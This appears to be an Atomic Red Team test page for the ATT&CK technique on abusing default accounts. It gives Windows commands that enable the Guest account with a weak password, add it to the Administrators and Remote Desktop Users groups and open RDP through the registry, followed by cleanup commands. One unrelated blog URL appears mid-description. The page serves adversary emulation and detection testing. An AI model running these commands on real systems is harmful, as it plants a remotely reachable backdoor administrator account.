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Valid Accounts: Default Accounts

Description from ATT&CK

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.(Citation: Metasploit SSH Module) https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/

Atomic Tests

Atomic Test #1 - Enable Guest account with RDP capability and admin priviliges

After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections

Supported Platforms: windows

auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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net user guest /active:yes
net user guest Password123!
net localgroup administrators guest /add
net localgroup "Remote Desktop Users" guest /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

Cleanup Commands:

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net user guest /active:no >nul 2>&1
net localgroup administrators guest /delete >nul 2>&1
net localgroup "Remote Desktop Users" guest /delete >nul 2>&1
reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1
reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1

source